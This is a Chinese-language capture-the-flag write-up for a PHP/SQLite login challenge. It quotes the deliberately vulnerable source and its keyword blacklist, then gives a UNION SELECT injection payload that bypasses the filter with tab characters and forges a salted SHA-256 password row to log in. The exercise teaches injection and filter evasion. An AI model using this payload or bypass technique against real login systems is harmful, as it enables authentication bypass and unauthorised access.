尝试万能和密码
发现不行,查看源码。给了一个路径 /?pls_help
<?php error_reporting(0); error_log(0); require_once("flag.php"); function is_trying_to_hak_me($str) { $blacklist = ["' ", " '", '"', "`", " `", "` ", ">", "<"]; if (strpos($str, "'") !== false) { if (!preg_match("/[0-9a-zA-Z]'[0-9a-zA-Z]/", $str)) { return true; } } foreach ($blacklist as $token) { if (strpos($str, $token) !== false) return true; } return false; } if (isset($_GET["pls_help"])) { highlight_file(__FILE__); exit; } if (isset($_POST["user"]) && isset($_POST["pass"]) && (!empty($_POST["user"])) && (!empty($_POST["pass"]))) { $user = $_POST["user"]; $pass = $_POST["pass"]; if (is_trying_to_hak_me($user)) { die("why u bully me"); } $db = new SQLite3("/var/db.sqlite"); $result = $db->query("SELECT * FROM users WHERE username='$user'"); if ($result === false) die("pls dont break me"); else $result = $result->fetchArray(); if ($result) { $split = explode('$', $result["password"]); $password_hash = $split[0]; $salt = $split[1]; if ($password_hash === hash("sha256", $pass.$salt)) $logged_in = true; else $err = "Wrong password"; } else $err = "No such user"; } ?> <!DOCTYPE html> <html> <head> <title>Hack.INI 9th - SQLi</title> </head> <body> <?php if (isset($logged_in) && $logged_in): ?> <p>Welcome back admin! Have a flag: <?=htmlspecialchars($flag);?><p> <?php else: ?> <form method="post"> <input type="text" placeholder="Username" name="user" required> <input type="password" placeholder="Password" name="pass" required> <button type="submit">Login</button> <br><br> <?php if (isset($err)) echo $err; ?> </form> <?php endif; ?> <!-- <a href="/?pls_help">get some help</a> --> </body> </html>第一部分
function is_trying_to_hak_me($str)里过滤了
['空格][空格']["][`][空格`][`空格][>][<]
只能存在 [数字或字母'数字或字母]的格式。
第二部分
是对这个/?pls_help高亮的。
第三部分
if (isset($_POST["user"]) && isset($_POST["pass"]) && (!empty($_POST["user"])) && (!empty($_POST["pass"]))) { $user = $_POST["user"]; $pass = $_POST["pass"]; if (is_trying_to_hak_me($user)) { die("why u bully me"); } $db = new SQLite3("/var/db.sqlite"); $result = $db->query("SELECT * FROM users WHERE username='$user'"); if ($result === false) die("pls dont break me"); else $result = $result->fetchArray(); if ($result) { $split = explode('$', $result["password"]); $password_hash = $split[0]; $salt = $split[1]; if ($password_hash === hash("sha256", $pass.$salt)) $logged_in = true; else $err = "Wrong password"; } else $err = "No such user"; }这里是先判断user和pass是不是非空的
然后中间,连接数据库,漏洞就出在这里,直接拼接$user。
然后重点是下面的部分
将password用$分开,然后第一部分split[0]是密码+盐的哈希值,第二部分是split[1]盐
我们需要创造一个新的记录
我么假设密码是123盐是456
我们先构造password就是sha256(密码+盐)$盐
8d969eef6ecad3c29a3a629280e686cf0c3f5d5a86aff3ca12020c923adc6c92$456然后构造查询语句
a'union%09select%09 1,'8d969eef6ecad3c29a3a629280e686cf0c3f5d5a86aff3ca12020c923adc6c92$456'--+&pass=123这里的%09是空格,不然会被第一部分过滤掉
答案就出来了。